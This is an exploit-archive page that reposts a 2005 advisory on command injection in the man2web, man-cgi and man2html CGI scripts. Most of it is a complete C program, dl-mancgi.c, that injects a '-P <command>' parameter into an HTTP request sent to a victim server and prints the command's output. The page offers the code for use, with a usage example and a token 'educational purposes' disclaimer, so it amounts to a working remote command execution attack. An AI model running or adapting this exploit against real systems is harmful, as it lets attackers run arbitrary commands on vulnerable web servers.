首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Man2web CGI Command Execution
来源:tracewar@gmail.com 作者:tracewar 发布时间:2005-09-08  

Man2web CGI Command Execution

Summary
"man2web is a program for converting man output to html on the fly (as a CGI program) or on the command line."

Lack of proper parameter filtering allows attackers to execute arbitrary commands on man2web CGI script.

Credit:
The information has been provided by tracewar.

Details
Exploit:
/* dl-mancgi.c v0.2
* x86/linux multiple man2web cgi-scripts remote command spawn
* found and coded by tracewar (darklogic team)
* for educational purposes only.
*********************************
* greetz goes to:
* matan peretz, ofer shaked, setuid, alex, majestic
*/


#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

void usage(char *argv0) {
fprintf(stderr, "x86/linux multipie man2web cgi-scripts remote command spawn\n");
fprintf(stderr, "researched by tracewar\n");
fprintf(stderr, "targets: \n0=man-cgi\n1=man2web\n2=man2html\n\n");
fprintf(stderr, "usage: %s <remote_host> <command> <path> <http server port> <target>\n", argv0);
fprintf(stderr, "example:");
fprintf(stderr, " %s 1.2.3.4 w /cgi-bin/man-cgi 80 0\n",argv0);
exit(0);
}

int main(int argc, char *argv) {
int sock, i, j;
struct sockaddr_in serv_addr;
struct hostent *crap;
char *cp, dummy[50000], buffer[2000] = "GET ";
if(argc < 6)
usage(argv[0]);
if(atoi(argv[5]) == 0) {
memset(dummy, 0x00, 50000);
strcat(dummy, argv[3]);
strcat(dummy, "?-P ");
strcat(dummy, argv[2]);
strcat(dummy, " ls");}
else if(atoi(argv[5]) == 1) {
memset(dummy, 0x00, 50000);
strcat(dummy, argv[3]);
strcat(dummy, "?program=-P ");
strcat(dummy, argv[2]);
strcat(dummy, " ls");}
else if(atoi(argv[5]) == 2) {
memset(dummy, 0x00, 50000);
strcat(dummy, argv[3]);
strcat(dummy, "?section=-P");
strcat(dummy, argv[2]);
strcat(dummy, "&topic=w");}
else
usage(argv[0]);

printf("# crafting buffer string ... ");
for(i=0, j=4;i < strlen(dummy);i++) {
if(dummy[i] == ' ') {
strcat(buffer, "%20");
j+=3;}
else {
buffer[j] = dummy[i];
j++;}
}

strcat(buffer, "\r\n");
printf("(done)\n");
sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock < 0)
return printf("# error creating socket.\n");
crap = gethostbyname(argv[1]);
if(crap == NULL)
return printf("# cant resolve the specified hostname: %s\n", argv[1]);
else
printf("# connecting to victim... ");

serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(atoi(argv[4]));
bcopy((char *)crap->h_addr, (char *)&serv_addr.sin_addr.s_addr, crap->h_length);

if (connect(sock, &serv_addr, sizeof(serv_addr)) < 0)
return printf("(error)\n# check again %s:%d\n", argv[1], atoi(argv[3]));

printf("(done)\n# sending crafted string... ");
if( (send(sock, buffer, strlen(buffer), 0)) == -1 )
return printf("\n# error while sending the crafted string.!\n");
printf("(done)\n# waiting for our call ...\n");
memset(buffer, 0x00, 2000);
memset(dummy, 0x00, 50000);
printf("\n\n");
while(recv(sock, buffer, 2000, 0) > 0)
strcat(dummy, buffer);

cp = &dummy[0];
i = 0;

if(atoi(argv[5]) == 0) {
while(strncmp(cp, "<hr>", 4)) {
cp++;
i++;
}
cp+=4;
while(strncmp(cp, "<hr>", 4) && strncmp(cp, "<A", 2))
cp++;
*cp = '\0';
cp = &dummy[0] + i + 4;
}

else if(atoi(argv[5]) == 1) {
while(strncmp(cp, "\<pre\>", 5)) {
cp++;
i++;
}
cp+=4;
while(strncmp(cp, "pre", 3))
cp++;
*cp = '\0';
cp = &dummy[0] + i + 6;
}

else if(atoi(argv[5]) == 2) {
while(strncmp(cp, "PRE", 3)) {
cp++;
i++;
}
cp+=2;
while(strncmp(cp, "PRE", 3))
cp++;
*cp = '\0';
cp = &dummy[0] + i + 2;
}

if(*cp == '\0')
return printf("# Bad respone from the server.\n");

printf("%s", cp);
printf("\n\n");
close(sock);
return 0;
}




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·CUPS Dot-Slash DoS
·ZipTorrent Local Information D
·Microsoft Windows keybd_event
·USB Lock Auto-Protect Locally
·MS05-018 windows CSRSS.EXE Sta
·GNU Mailutils imap4d search Co
·P2P Pro Command DoS
·Raxnet Cacti graph_image.php R
·FREE SMTP Open Relay Vulnerabi
·Snort <= 2.4.0 SACK TCP Opt
·SimpleProxy Local Format Strin
·COOL! Remote Control DoS
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved